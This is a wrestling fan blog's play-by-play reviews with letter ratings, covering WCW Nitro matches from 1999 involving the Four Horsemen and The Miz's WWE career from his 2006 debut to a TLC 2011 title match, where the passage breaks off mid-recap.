Here’s a match that should have happened years earlier. Nitro, January 25, 1999.

Hollywood Hogan/Scott Steiner/Kevin Nash vs. Horsemen

This has A LOT of time, as in nearly half an hour. Hogan is still listed as a Presidential candidate. Before the match, Nash gets a cheap pop and Steiner says that Kimberly has been flirting with him out back. If she wants to tease him, she better be ready to please him. Hogan is glad that there aren’t any WCW or Ric Flair fans out here because they stink very badly. He’ll take care of Ric at SuperBrawl because Flair is the first one being hunted by the Pack.

After a break we get the Horsemen’s entrance and the opening bell. It’s a brawl to start of course and Benoit gets to beat up Hogan in one of the only times they ever had contact. Flair goes after Hogan but Nash makes the save. The NWO clears the ring to start as the announcers bring up Sting for the second or third time tonight. It’ll be nice to have him back. This turns into a discussion of Alex Wright no showing the show tonight.

Benoit and Steiner get things going with the power man running him over and kicking Benoit in the head. Scott runs into a boot in the corner though and Benoit fires off more right hands. A dropkick sends Steiner outside and Benoit holds up the fingers to Nash and Hogan. Kevin comes in for a knee to the ribs but Benoit runs him into the corner and chops away.

Off to McMichael for a slam, setting up the Swan Dive but Hogan makes a save. Steiner gets in a shot from the apron and Nash hits the big boot to take over. Hogan comes in and man alive is it strange to see him in there against Benoit. It doesn’t last long though as Hogan clotheslines Benoit down and suckers Flair in before hiding behind Steiner. A non-existent tag brings in Steiner for a belly to belly and two on Chris. Nash comes back in for the side slam and it’s back to Hogan with a belly to back suplex.

We take a break and come back with Hogan still on Benoit. Again he suckers Flair in but tags Scott to get in a few shots on the Canadian. The fans want Flair as Nash slams Benoit and elbows Ric in the face. Everything breaks down and Benoit gets caught in the Tree of Woe for some choking by Nash. Hogan whips Benoit with the weightlifting belt and suplexes him for another two count.

Choking ensues and it’s back to Nash for the foot choke in the corner. Nash misses a big boot in the corner but Steiner breaks up a hot tag attempt. We hit the bearhug on Benoit and he seems to pass out. Hogan wants the pin but can only get two. An elbow gets the same but the legdrop misses, allowing Benoit to FINALLY tag Flair. Everything breaks down and Bischoff comes in with a foam finger wrapped around a 2×4. Flair gets Hogan in the Figure Four but Nash nails him with the board for the DQ.

Rating: B-. This was the six man formula done very well and the match was very good as a result. Benoit is an excellent face in peril and he had the crowd going nuts for the tag to Flair. I’m fine with a messy finish here as you don’t want to have a champion do a job before a pay per view. If WWE could get that through their heads, a lot of my headaches would go away.

Mongo would leave with a whimper. Here’s his last WCW match on February 8, 1999’s Nitro.

Outsiders vs. Ric Flair/Steve McMichael

It’s a brawl to start and the Outsiders are knocked to the floor. Hall and Flair get things going with Flair chopping him into the corner. Scott comes back with some right hands in the corner to no effect but Hall nails a clothesline to put both guys down. Flair elbows him in the jaw and goes up, only to be slammed back down. It’s off to Nash but Ric is able to tag in Mongo, who stomps on Nash’s foot. Both Outsiders are slammed down but Nash kicks McMichael in the face to take over.

Tony brings up Sting again as Mongo gets double teamed in the corner. Hall hits the fall away slam for two before putting on the sleeper. Mongo jawbreaks his way to freedom and the ice cold tag brings in Flair. Ric beats up Hall with ease and a few knee crusher set up the Figure Four. The hold stays on for a good while but we cut to Hogan knocking on the bathroom door. Bischoff hands him the mop bucket that he poured the bleach into earlier and says that this should work.

Hogan leaves with the bucket and all of the backstage workers are out cold on the floor. Back to the arena and Hall is out of the hold without much damage. A shoulder puts both he and Flair down as Hogan comes out with the bucket. He throws the bleach in it at Flair but hits Mongo to blind him and the match is thrown out.

Rating: D. This was Mongo’s final match and thank goodness for that. The guy dragged down a match between three guys that shouldn’t have their stuff dragged down like this. The fans did not care about him when he was in there and after two and a half years, there’s really no excuse for him to not get any better at all.

Mongo just wasn’t very good. He was given all the help they could give him, but there just wasn’t enough there to make him work. I’ll give him this though: to come from a football career into this spot and do even close to decent is impressive. He could have gotten a lot of good out of being in developmental for a few years but instead he was thrust onto the main show and it never worked out. Great theme song though.

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Wrestler of the Day – August 20: The Miz

Today’s is AWESOME. It’s the Miz.

Miz would be the runner up in the 4th season of Tough Enough and spend a year and a half in developmental, including becoming the first Deep South Wrestling Champion. Here he is debuting on Smackdown, September 1, 2006.

The Miz vs. Tatanka

Before the match, we get the original Miz catchphrase: HOO-RAH! He spends too much time shouting though and gets sent into the corner for a beating. An armdrag puts Tatanka down and Miz stops for a quick Robot. Miz slides between Tatanka’s legs and does a war dance, earning him a chop to the chest. Tatanka cranks on the arm but Miz sends him into the post.

JBL spends the entire match ranting about how much he hates Miz but switches over to hating Tatanka when Miz beats him up. A chinlock doesn’t get Miz anywhere and Tatanka starts his usual comeback. Miz rolls away to avoid a top rope chop but a regular version sends him to the floor. Back in and Miz rakes the eyes and backslides Tatanka for the pin with his feet on the ropes.

Rating: D. There’s a reason people laughed at Tatanka coming back for this last run. It wasn’t entertaining and people didn’t remember him as being anything interesting. This didn’t work but it gave Miz that first win that set him off on the right foot. The wrestling wasn’t the point with him so the cheating win works well.

Time for a better opponent on Smackdown, February 9, 2007.

The Miz vs. Undertaker

Miz tries to hide in the corner but gets cornered and belted. Old School connects and there’s a Downward Spiral of all things for two. Miz rolls to the floor but is easily thrown back in for a big legdrop. There’s the big boot and another legdrop, setting up the chokeslam and tombstone to complete the squash.

Rating: D+. Total and complete squash here as Miz got in no offense whatsoever. That’s exactly what this should have been as Undertaker was coming off winning the Royal Rumble and Miz was Miz. Nothing to see here, though it’s interesting that today Miz is a former WWE Champion and I can’t imagine the match ending any other way.

Miz would get better over the summer after spending some time on ECW. Here he is getting a title shot at Cyber Sunday 2007.

ECW Title: CM Punk vs. ???

The options are Morrison, Big Daddy V and that Miz guy. Miz and Morrison are a tag team and Punk beat Morrison for the title. V had been built up as a monster (with Matt Striker as his manager of all people) and MIZ of all people wins it. You can hear the legit shock of everyone as he was more or less thrown on there as a nothing guy here. This would be like picking Santino or something.

I can’t get over how different Miz is now. We have a basic back and forth sequence to start where Miz actually wins a bit of it. That’s different if nothing else. The announcers sound legit shocked by Miz getting the shot. Miz controls with basic stuff which is the extent of his offense at this point. The fans think Miz can’t wrestle. This makes where he is nearly three years later all the more amazing.

Punk misses a cross body as Miz rams the knee in which was a nice spot. This is more or less Miz’s coming out party, of which he’s had like 5 so far, but he’s showing off here and it’s working well. Punk just starts going off on Miz throwing kicks and knees. Springboard clothesline and down goes Miz for two. GTS is countered, Miz gets a rollup for two and then walks into the GTS to end it.

Rating: C+. Decent little match here but not a classic or anything like that Miz got a chance to showcase himself here and soon after this he and Morrison would start getting their push, which is where things really get rolling in both of their careers. Fun match though but nothing that you wouldn’t see as the main event of ECW at this point.

Miz would hook up with longtime partner John Morrison and win the Smackdown Tag Team Titles. Here they are defending them at Judgment Day 2008.

Smackdown Tag Titles: John Morrison/The Miz vs. Kane/CM Punk

If I remember this right there is zero story to this match at all. Morrison has the same music and nearly the same intro as he does today. It’s so shocking to look at Miz and know what was coming for him in just a few years. Morrison beat Kane on ECW which is about the extent of the build. Punk would go to Raw in the Draft in just over a month. He’s Mr. MITB at the moment also. Oh and Kane is ECW Champion. There was a talent exchange or whatever going on with Smackdown and ECW where they could be on both shows if you’re wondering how this is possible.

This actually gets big match intro treatment for no apparent reason. Odd indeed. Punk and Miz start us off and it’s so weird to see these two as midcarders. Off to Kane, who is by far and away the biggest star in this match. Kane beats Morrison up with ease but can’t do the same to Miz. Wow that sounds weird in context. Punk comes in with a slingshot knee drop to Morrison for two.

Tarantula version of the Anaconda Vice which is rather awesome goes on. Back off to Kane who massacres Miz a bit more, including the clothesline for no cover. Morrison goes all angry on Kane, hammering away with everything he can to slow baldie down. Miz and Morrison both have a lack of finishing moves for the most part other than Morrison having some weak stuff so there isn’t much of a way that they can put Kane down.

Luckily for them it’s off to Punk who beats on Morrison as is his custom. Down goes Miz and a snap powerslam gets two on Morrison. Springboard clothesline gets two on Morrison who is looking awesome with these kickouts. Miz tries to grab Morrison’s leg to slow things down a lot and is chokeslamed on the floor for his efforts. That distraction though lets the Moonlight Drive (neckbreaker) end Punk mostly clean.

Rating: C. Not a bad match here at all but it probably should have been a TV main event more than anything else. You could certainly see Miz and Morrison growing up here as they managed to stay away from the pins which was the right thing to do. Having matches with guys like Kane and Punk was what made them get a lot better in a hurry, which is exactly why someone like Kane was on ECW. Fine little match here.

Here they are against some better opponents on Raw, November 3, 2008.

D-Generation X vs. John Morrison/The Miz

HHH is WWE Champion. DX does their intro and we get a clip from ECW where Miz/Morrison made fun of them for being old and then beat up some DX impersonators. Shawn points out that the impersonator has a huge nose. Maybe Shawn just got used to it over the years but THAT THING IS HUGE! They also mocked his chaps. You can punch his wife, you can spit in his face, BUT NO ONE MOCKS THE CHAPS!

HHH points out them making fun of Shawn for losing his hair. Shawn doesn’t remember this. HHH: “Well I’m pretty sure…” Shawn: “No they didn’t.” HHH: “Shawn I’m sure…” Shawn: “Drop it!” HHH: Well ok….” Shawn: “WE WILL NEVER SPEAK OF THIS AGAIN!” HHH makes fun of Miz/Morrison’s high school pictures. Miz looks like a horse and Morrison enjoys rest stop sex. Shawn says he’s ready, the fans say they’re ready, we get a clip of Big Dick Johnson giving Miz a lap dance for some reason which traumatizes Shawn, and now we get to the DX intro, complete with more gay jokes from the Game. Funny stuff.

Oh yeah we have a match to get to. This is joined in progress with Morrison getting two on HHH. HHH takes his head off with a clothesline and it’s a double tag. Shawn knocks Miz down and hits the elbow to set up the Kick. Morrison breaks that up and Miz takes over via a clothesline. Miz whips Shawn into the corner where Shawn flips, followed by Miz’s corner clothesline.

Morrison comes in and pokes Shawn in the eye so Shawn kicks him in the head. Off to HHH who cleans house with the knees to the face. Facebuster looks to set up the Pedigree on Morrison but Miz breaks it up, only to walk into the spinebuster. Morrison imitates Shawn with a forearm, nipup and then tuning up the band, with the kick connecting on HHH. Miz and Morrison do crotch chops and Miz loads up a Pedigree, which is easily countered. Shawn kicks Miz’s head off and the Pedigree ends this.

Rating: C+. Not a bad match at all as Miz/Morrison got to show off a bit here. There was never any doubt as to who would win as the non-degerates didn’t mean much yet. Seeing them imitate DX’s stuff was good though and that’s what popped the fans for the most part. Fun little match.

Miz would spend months calling out John Cena, setting up this match at The Bash.

The Miz vs. John Cena

This is Miz’s first major singles feud as he and Morrison had just recently split so he really did start at the top. The fans are rather split here which is a nice sign. Cena is just doing very basic stuff here and it’s working quite well. Cena goes for a backdrop and gets kicked in the face. He snaps up and shakes his head. Sure why not.

Miz works on the neck which is still hurt from Batista apparently. Miz gets some control in actually which is the best thing he can do. And the Cena fights back and the usual stuff ends it. It was short and not terribly painful.

Rating: D. That’s just for the wrestling mind you as it was more or less a Raw match and nothing more. Now when this first happened, I hated it. However since then I’ve cooled down on it a good bit. This wasn’t what I wanted, but it was fine. Remember that this was Miz’s coming out party so he needed to look good. This wasn’t as bad as it came off as back then, but that could be because Miz has done very well since then. Bad match, but Miz came off pretty well as far as credible goes.

Miz would get a US Title shot in a four way at Night of Champions 2009.

US Title: Kofi Kingston vs. Jack Swagger vs. Carlito vs. The Miz vs. Primo vs. MVP

Swagger does a little dance on the way to the ring. More or less it was a given that someone was going to take the title from Kofi here. I think Carlito’s mustache has its own population. Miz gets a NICE pop. Primo is replacing Big Show who was supposed to be in here. And there are no tags here. That rarely makes things any better or easier to call at all. Hey, did you know Kofi doesn’t have to be pinned to lose his title?

I didn’t know if it was made clear that Kofi doesn’t have to be pinned to lose his title. I want to make it clear that Kofi doesn’t have to be pinned to lose his title. It’s just a big mess as everyone is trying to get a spot in there where they can. Also there are a lot of guys randomly staying on the floor for long periods of time. They mess up a save spot as Swagger hits Primo for the save about 5 seconds after Miz kicked out.

The Puerto Ricans are exploding here as they don’t like each other even though no one cares at all. Swagger and MVP are having the same angle that MVP and Miz are having now. No one is in the ring at the moment. Kofi’s movement is amazing to say the least and there’s the incredibly named Boom Drop. They do a Tower of Doom spot with Miz taking the most damage.

The crowd is dead as a doornail here in case you were wondering. Miz is unceremoniously dumped to the floor. Is there a ceremonious way to do that? Everyone gets a quick rollup or pin and it gets some applause if nothing else. In a cool and actual believable spot, Miz hits the Skull Crushing Finale at the same time on MVP as he hits the Playmaker on Swagger. Kofi hits Trouble In Paradise on Carlito for the pin and the very surprising retain.

Rating: C-. I hate matches like these, I truly do. They’re just brawls to have one guy get a fluke pin and overcome a bunch of odds when in reality all it does is disguise the fact that there is no story or effort being put in here and it’s just a massive mess. Kofi winning was a nice surprise though.

Soon after this, Miz would start his rise up the card. He would hook up with Big Show and win more Tag Team Titles. Here they are defending at Wrestlemania XXVI.

Tag Titles: ShoMiz vs. John Morrison/R-Truth

That would be Big Show and Miz as champions defending against R-Truth and John Morrison. If there’s one thing I’m glad we’ve moved passed, it’s portmanteau tag team names. Miz is also US Champion and the tag titles are still represented by all four belts. John and Miz start things off and there’s a fast dropkick for two by Morrison. Off to Truth for a guillotine legdrop for two more.

A big left hand misses for Miz and a side kick takes him down. Off to Big Show and Truth can’t do much against him, other than be caught in a fallaway slam. After Show knocks Morrison off the apron, John breaks up a Vader Bomb to put Show down. Off to Miz vs. Morrison again and a running knee takes Miz down. Starship Pain misses though and Show rams Truth into the post. John counters the Skull Crushing Finale into a rollup for two but Show makes a blind tag and knocks Morrison silly with the WMD to retain.

Rating: D+. This wasn’t even three and a half minutes long so what else do you expect here? To be fair, the challengers were thrown together and won the title shot in the same night so there wasn’t much of a reason for these teams to be fighting. The champions would lose the title in a month while the challengers would never really do anything.

Miz would get another US Title shot on Raw, June 14, 2010.

US Title: R-Truth vs. John Morrison vs. Zach Ryder vs. The Miz

Everyone is in at once. Sweet. Oh and Cole now feels safe because the guys that weren’t under contract last week are still not under contract. I love idiotic comments like that. Morrison hits a sunset flip over the top into a release powerbomb onto Ryder. Nice one. And of course we go to a break. Wait…he slammed him into the concrete. This could invoke ideas of brain injury and something to do with buttons. FIRE THEM ALL NOW!

My fragile mind can’t take this! We have Miz vs. Ryder which is a weird combination if there’s ever been one. The best tag team in awhile explodes on the floor for about the 100th time. And there’s the stupid forearm smash to Ryder for two. I’m liking the little change of pace to open things up. That and opening with a title match is never a bad thing. Morrison takes forever to his Starship Pain but Miz steals the pin and the title! HOLY SCHNIKES!

Rating: C+. Nothing great here but for an opener it’s a very nice choice as not only do they give us a nice match but also we get a title change on TV which is always a good sign. It worked well for what it did, although I fail to see the point in Truth losing. Miz getting a push is always a good thing though.

Next up was Money in the Bank 2010.

Raw Money in the Bank

Orton gets the kind of home town pop but it’s still a huge one as you would expect. Miz is the dark horse pick to win but he likely won’t. Mark Henry needs to get lost in the desert somewhere. DiBiase is growing on me. They’re going through the intros much faster here than they did in the first match. Maryse in a red dress works very well. Morrison is someone that is a wild card here but I’d bet on him not winning. Him giving away the sunglasses is great. Jericho is the main event filler guy here which is fine for a guy at his state in his career. Bourne is here for high spots more than likely. Edge is probably the Drew McIntyre here: the guy you expect to win but doesn’t.

They do a lot of basic stuff to get us going which is what you would expect. Edge stops Bourne but Bourne hits a sweet rana to take him down. Orton this the DDT off the second rung of the ladder which is a nice little variation on it. Morrison kind of falls down and hits his head on the ladder which wasn’t planned. He looks ok though. Morrison gets some solid reactions here and takes out Miz and DiBiase.

This match suffers from being the second of these matches in less than two hours. The spots don’t look as impressive as they did when we hadn’t seen them in four months. Henry shoves four guys off two ladders and everyone is down. Maryse goes into the ring and sets up a ladder with everyone down. She takes forever to climb the thing as the question of can anyone climb the ladder and get the case is raised. Morrison stops her and nothing really comes of it.

Everyone is apparently dead again as people are all out on the floor other than Miz. Striker names Miz’s fans Mizfits. Dude, stop trying so hard. Morrison does a modified Shelton spot by being slingshotted into the ladder on the floor but holding on. He then grabs one standing in the corner and slides over on it to get on the ladder Edge is on. Nice spot. Edge and Miz get Morrison stuck between the rungs of a ladder and beat him up. Edge slams the ladder into Miz’s face in a perfectly Edge spot.

Henry takes over for a bit but gets the Big Show treatment from earlier including a Codebreaker and Spear on the floor. Everything goes insane again and Air Bourne hits. He almost gets up to the case but can’t unhook it a la Swagger. We get Canadian violence as Edge and Jericho fight atop the ladder. RKO OFF THE LADDER ON JERICHO!

Orton LOOKS at a ladder and gets the biggest pop of the night. He almost has it but Miz makes the save. MIZ WINS IT! HOLY FREAKING GOODNESS! Miz gets a mic as the announcers can’t believe what they’re seeing. Miz says that everyone here is living in his moment. He says this means he made it and he’s right. This is totally believable here and given where he was just like three years ago (chick magnet) two years ago (in a tag team like say David Hart Smith is now) or even a year ago (parodying Cena) this is AMAZING.

Rating: B-. I liked this better than the first one actually as the length being significantly shorter helped it a lot. The 26 minutes for the first one was too long but cutting about 10 minutes off of this one made it much better. The winner helps it a lot too, but this was more about drama and there was less time for things to be bogged down and drag. Slightly better, but I could easily see that being reversed.

Next up is the cash-in, from Raw on November 22, 2010. I’ll include the match Orton was in beforehand to help set things up.

Raw World Title: Wade Barrett vs. Randy Orton

Nexus jumps Orton on the way to the ring and his knee is gone. He gets up and Harris kicks him in the knee again. The match hadn’t started yet as this was during Orton’s entrance and he came out first.

Back from a break and we’re on the announcers. And here’s Barrett on his own. I love that smirk. Cole gets an e-mail on his Blackberry as apparently the title match is continuing with Nexus barred from ringside. So we’re still going with this? I guess we are. Orton’s entrance starts again and there’s no Orton. Barrett shouts he forfeits. Ah there he is, limping BADLY.

There’s the bell as Orton is on one leg. This is legitimately exciting as I do not know what’s coming. Barrett goes straight for the knee and the fans scream for Orton. Orton gets the backbreaker out of nowhere but another shot to the knee sends Orton down. Wasteland hits….and Cena comes out of the crowd to break up the pin an FU Barrett. Dang it.

Nexus runs down to go after Cena and there’s three minutes left. Nexus is gone….and the match is still going! My heart is beating out of my chest here. Barrett and Orton are up and RKO hits to end Barrett.

Rating: A. Match was mainly Barrett hitting him in the knee and then the run ins and the RKO, ran maybe three or four minutes so call it an N/A or a C- or so. Why an A you ask? It stand for AWESOME!

IT’S MIZ, case in hand! HE CASHES IN but Orton is on his feet. GAME ON!

Raw World Title: The Miz vs. Randy Orton

Oh this is going to be good. BELL RINGS AND IT’S ON! Riley is with Miz. It’s 11pm so they have some time. Miz shoots for the knee but runs into forearms. Miz is all crouches over and finally gets the shot into the knee. Miz tries to wrap the leg around the post but is kicked off. Skull Crushing Finale is blocked and the elevated DDT is also. There’s a shot to the knee but Orton gets the powerslam. This is awesome stuff here as the drama is just crazy. Orton sets for the RKO but Miz counters into the Finale! MIZ WINS!!!!!!! THAT REALLY JUST HAPPENED!!!

Rating: C+. This was again really short but there was one MAJOR key: Orton was at mostly full speed for awhile. He had his finisher set to go and Miz countered it and hit his own finisher to get the title. That is a huge deal and it makes Miz look far more legit. Naturally the wrestling means jack here but the ending was great and legitimately shocking.

One of Miz’s first major challengers was his old partner John Morrison. From the first Raw of 2011.

Raw World Title: The Miz vs. John Morrison

No Lawler due to the beatdown last week by Miz. Morrison takes down Riley to start and we hit the floor very quickly. Morrison fights both guys off and comes off the top of the big W with a huge cross body for two. Back to the ring as that was a very quick segment up there. Missile dropkick gets two for the challenger. The running knee gets two also as Riley interferes. Morrison DESTROYS Riley and we take a break as the paramedics attend to him.
Back with Miz setting up a piece of railing up against the stage. He can’t suplex Morrison through it for awhile but Morrison tries one too many counters and winds up taking a backdrop into it for two. Back towards the ring again with Miz in control. They slug it out in the ring with Morrison taking over again.

Morrison gets Miz down and goes for Starship Pain. Miz rolls out of the way and gets the Reality Check for two. He charges but rams into the post. Starship Pain hits for two and a big kick sends Miz to the floor. Morrison sets up a table and goes for Starship Pain off the top through the table. The champion moves and the table more or less explodes in an awesome looking spot. That somehow only gets two and Miz is ticked off. The Skull Crushing Finale on the floor ends this clean at approximately 22:00.

Rating: B+. This was a good brawl and a solid back and forth match. I’m not sure if I get the point of having Morrison use his title shot on the first show of the year rather than the Rumble but there’s time to see what they’ve got planned I suppose. This had some good spots and there were a few moments of possibility that the title could change hands. Good stuff but it never hit the level they wanted it to I don’t think.

Here’s Miz against his former NXT rookie on Raw, February 14, 2011.

The Miz vs. Daniel Bryan

Riley is on commentary here. Crowd is into Bryan and we get a chant for him. Miz takes him down with a shoulder block to start. Josh makes a Grammys reference of all things. Bryan grabs the arm which gets him nowhere but a dropkick does. Miz takes Bryan down with a big boot. For some reason we keep cutting to shorts of the commentators. Off to a reverse chinlock by Miz.

Bryan escapes and grabs a rear naked choke but Miz grabs the ropes. Another back elbow by Miz gets two. Another chinlock now but the crowd is staying in this which is a good sign. Bryan gets a corner dropkick for two. They slug it out a bit and Miz is knocked to the floor. Running knee from the apron sends Miz through the barricade in front of the time keeper’s area.

Back in the ring and a top rope dropkick gets two. Good match here so far. LeBell Lock almost goes on but Miz knocks him to the floor as we take a break. Back with Miz hammering away in the corner but not being able to hit a suplerplex. Instead Bryan gets a sunset bomb for a close two. We see a replay of the neckbreaker to the floor just before the break and I didn’t realize how sick it was.

Bryan unleashes the kicks and Miz counters into a rollup for two. Another gets two. Miz tries a reverse DDT into a neckbreaker but gets countered into a German. BIG kick to the head of the world champion gets two and a huge reaction from the crowd. LeBell Lock can’t get hooked so Bryan tries a victory roll. Miz drops him forward and then the Skull Crushing Finale ends it at 12:40.

Rating: B+. This was a very solid match where Miz got pushed and Bryan looked great. This was exactly what Miz needs: a dominant win where most importantly he won clean. Bryan just took the world champion to the limit and the whole thing worked very well. Good match and the second good one tonight which is a great thing to see.

From the next week on Raw.

Tag Titles: The Miz/John Cena vs. Heath Slater/Justin Gabriel

According to Josh this is unprecedented for some reason. Miz vs. Slater to start us off. All Miz so far as he beats on both Corre members. Cena responds with a golf clap and is tagged in to a good pop. Back off to Miz as the champions have had nothing for the most part. There’s the Skull Crushing Finale and it’s over in 3:12. What the heck? Uh…ok then. No rating due to the length as it’s 10 minutes til 11:00 so there’s a lot more to come here.

Barrett says hold it as the Corre is invoking their rematch clause right now. An E-Mail says ring the bell. The match starts post break.

Tag Titles: The Miz/John Cena vs. Heath Slater/Justin Gabriel

Back with the match already in progress and Miz holding a wristlock on Gabriel. Cena comes in as does Slater. Cross body by Cena gets two and it’s back off to Miz. The WWE Champion is knocked to the floor and Corre holds Riley back so Miz can be beaten down by Gabriel. Slater gets two on Miz. Off to a chinlock by Slater which gets him nowhere. It’s weird seeing Miz as the defacto face. Neckbreaker by Slater gets two.

Gabriel in now but Miz fights him off and hits that knee to the back/neckbreaker combo. He can’t make the tag though as Slater is tagged in for the save. Miz still can’t make a tag and Gabriel throws on a headlock. The crowd is WAY into this too which is making things a lot better.

Gabriel is sent to the apron and tries to come in off the top. He jumps into a big boot though and Cena wants a tag. Ask and ye shall receive as it’s Cena vs. Slater now. Cena initiates his ending sequence and there’s the 5 Knuckle Shuffle and FU. Actually it isn’t as Miz shoves Cena over with something like the Skull Crushing Finale and Slater gets the pin to regain the titles at 12:00!

Rating: C+. Better formula match here and it worked pretty well. I had a feeling they were going to do the switch right back and I’m glad they did. This worked rather well and it sets up more of the world title feud between the two. Good stuff here and the whole segment worked rather well. Also very good that they didn’t go with the predictable ending.

This leads us to the match that Miz has talked about for the better part of ever. The main event of Wrestlemania XXVII.

Do you need a recap of Cena vs. Miz? Miz is champion and it’s Cena at Wrestlemania.

Anyway we do get a video of Miz’s rise from MTV to Wrestlemania main event, cut in with great Wrestlemania moments. I’ll give them this: Miz’s rise from total joke to what he became is nothing short of remarkable. How Cena got the shot isn’t even mentioned here. I think he won the Chamber match.

Raw World Title: John Cena vs. The Miz

Miz, complete with the SWEET coat, comes out through a set of balloons spelling out the word AWESOME. Oh and Alex Riley is here too. Cena has a full on gospel choir to sing him to the ring. That’s rather awesome. We get a prayer set to a Cena career video. If nothing else, this lets us see a gospel choir singing “Your time is up, my time is now.” It gets booed out of the building, but it does exist.

Feeling out process to start with Miz being taken down by a headlock. Miz grabs a headlock of his own but gets thrown down yet again. A test of strength is teased but Cena grabs another headlock instead. Not much to see yet. Miz fights into the corner and stomps away before hitting the corner clothesline for two. Matt Hardy’s Side Effect gets two more as we’re firmly in first gear here. Another corner clothesline misses and Cena comes back with a regular clothesline for two.

A big boot to the head gets two for Miz as the crowd continues to be dead silent for this. Cena misses a….cross body I think and falls to the apron. A Million Dollar Kneelift gets two for the champion but the Skull Crushing Finale is reversed and Cena fires off the shoulder blocks. The finishing sequence continues but Miz escapes the AA into a low DDT for two. Miz escapes the STF and hits the Reality Check for two more. The champion removes a buckle pad and as the referee puts it back on, Cena gets an unseen small package for two.

Another AA attempt is blocked with Miz grabbing the top rope. Instead it’s the STF but Miz quickly gets to the rope. Riley gets on the apron and the distraction is enough to send Cena into the buckle (apparently the referee is a bad repairman) and the Skull Crushing Finale gets two. Another Finale is reversed and the referee is bumped. The AA (ZERO pop) hits but there’s no one to count. Riley comes in with a briefcase shot to the head which gets another two on Cena.

Alex tries to come in again but Miz’s case shot takes him out by mistake. A BIG release AA hits again but Miz kicks out at two. They head outside and Cena clotheslines Miz over the barricade into the timekeeper’s area. Miz tries to get up and Cena spears him down, sending Miz’s head HARD into the concrete. I’ve heard Miz say that gave him a concussion and as a result he doesn’t remember a thing about this match. It looked TERRIBLE too, and it actually ends the match, as in the MAIN EVENT OF WRESTLEMANIA, in a double countout.

Rating: D-. The second half of this match got WAY better than the first, but the problem is it’s a fifteen minute match and the first seven or so are ridiculously boring. On top of that, did I mention it was a DOUBLE COUNTOUT IN THE MAIN EVENT OF WRESTLEMANIA??? The only good thing here was Miz kicking out of the AA in the middle of the ring. That’s how you make a guy look good. The rest of the match however is how you make someone look HORRIBLE, much like the match. Terrible stuff here as Miz wasn’t ready for this, which is what almost everyone thought would happen.

Oh wait here’s Rock, who apparently has match making powers as host (why he didn’t change the Lawler/Cole match earlier is anyone’s guess). After ignoring another e-mail, he restarts this under No DQ rules. The bell rings, Cena can’t hit the AA, Rock hits the Rock Bottom on Cena, Miz retains.

Post match Rock beats up Miz to a very limited reaction and it’s the People’s Elbow to end the show.

Miz would lose the title to Cena the next month but the title would soon be vacated due to CM Punk. Miz would make the finals of a tournament to crown a new champion on Raw, July 25, 2011.

WWE Championship Tournament Final: Rey Mysterio vs. The Miz

Most of the roster is watching in the back. Big match intros occur as they should. Feeling out process to start and Rey takes over with some speed. Miz counters a rana to launch Rey into the top turnbuckle to change momentum. It’s probably a good thing that they waited a week to let them rest up. Corner clothesline gets two for Miz. Knee to the ribs gets the same.

Miz sends him to the floor and adds a baseball slide to keep Rey down. The fans are totally behind Rey here as is probably expected. With Rey on the apron facing down Miz misses a kick but gets sent into the steps shoulder first. Both guys are down as we take a break. Back with Miz holding a chinlock and the third anti-politics line from the announcers. Miz takes him to the corner but Rey fights him off and goes up.

Seated senton hits and Rey speeds things up. Springboard spinning cross body gets two. Miz drills him in the ribs but a sunset flip doesn’t work. Rey can’t kick him in the head with that swinging kick and Miz grabs a DDT for two. A big boot gets the same. It’s been about 80-90% Miz in this match. Victory roll gets two for the masked man. A dropkick to the knee looks to set up the 619 but Miz ducks.

Miz tries a powerbomb near the ropes but Rey counters into another rana attempt. That doesn’t work as Miz hits a pretty sweet slingshot sitout powerbomb for a close two. Miz loads up the Finale but Rey climbs up onto the corner and elbows his way out of it. He gets caught in the Tree of Woe though and Miz drives in some knees. A charging knee hits the buckle though and Rey hits a rana to set up the 619. Top rope splash gives Rey the title clean at 13:20.

Rating: B-. Not bad here but it wasn’t quite epic or anything. This felt like any TV main event. It’s a good match but Rey just hit his finishers and won the title. I did like the selling of the knee from last week which is a very nice touch. Either way, good stuff here and fine for a TV title match.

Miz would hook up with R-Truth as Awesome Truth, setting up this showdown at Survivor Series 2011.

Awesome Truth vs. The Rock/John Cena

Rock is going to start as Cena is off to kiss the widow of Arnold Skaaland. Miz gets to face Rock to start and the Great One grabs a quick headlock. Rock snaps off some GREAT armdrags and gets two off La Magistral (it’s an armtrap cradle) on Miz. Awesome Truth huddles on the floor and Cena looks impressed. Truth wants to fight Rock now and Rock says Just Bring It. The fans do the Cena dueling chants before Rock hits a fisherman’s suplex on Truth, but Cena is going after Miz, meaning no count.

Now Miz wants to get back in and he wants it to be with Cena. Given how Rock looked, that’s a wise choice. Cena quickly takes over with snapmares, a monkey flip (!!) and a dropkick. The fans boo him out of the building and tell him he still sucks. Off to Truth who walks into Cena’s finishing sequence but Cena tells Rock that he can’t see Cena. They stare each other down, allowing Truth to nail Cena (Rock saw it coming and didn’t do anything) to give the guys with no chance the advantage.

Truth and Miz take a few turns on Cena before Truth hooks a chinlock. Cena gets thrown to the floor by Truth which gets two back in the ring. Back to a leg choke by Truth as the fans want Rocky. Off to Miz who counters an AA into a short DDT for two. The fans seem to be into Miz as he hits his running clothesline in the corner. Truth hooks a front facelock to kill a few moments and it’s back to Miz who gets two off a clothesline.

The spinning legdrop gets two for Truth as the crowd is waiting to explode for Rock’s hot tag. Truth goes up for a cross body but Cena rolls through. His AA attempt is countered into a sitout gordbuster for two and it’s back to Miz. Miz hits a pair of boots to the face of Cena but the third is countered into the STF. Truth makes a quick save and Rock is content to stand on the apron. Cena grabs a quick AA on Truth but Miz knocks Rock off the apron to tease the crowd even further.

Truth drops Rock on the barricade to keep him down as Cena gets put in another chinlock. A double flapjack gets two on Cena and it’s back to the front facelock by Truth. Truth’s second legdrop misses There’s the real hot tag to Rock and house is cleaned in a hurry. Miz gets put in the Survivor Series Sharpshooter but Truth saves as everything breaks down. With Cena and Truth on the floor, Miz goes off on Rock but charges into a spinebuster. The People’s Elbow returns and Rock gets the pin on Miz.

Rating: B. What else were you expecting here? This is one that has indeed changed over time as we knew Rock would have a great match with Cena at Wrestlemania. The match itself was formula stuff which is perfectly fine and all that it should have been. Rock making the save was the right call and there’s almost no complaints at all here. Good match but it didn’t need to happen, which we’ll get to in a bit.

Another title shot from TLC 2011.

Raw World Title: Miz vs. CM Punk vs. Alberto Del Rio

TLC match. The heels jump Punk to start but Punk fights them off. Lawler thinks there are pins in this but Cole actually saves him, saying that Lawler is confused because this match has never happened before. He wasn’t rude about it either. Punk gets double teamed and they slowly go to the floor since they don’t trust each other. Miz goes after Ricardo so Del Rio hits him with a chair.

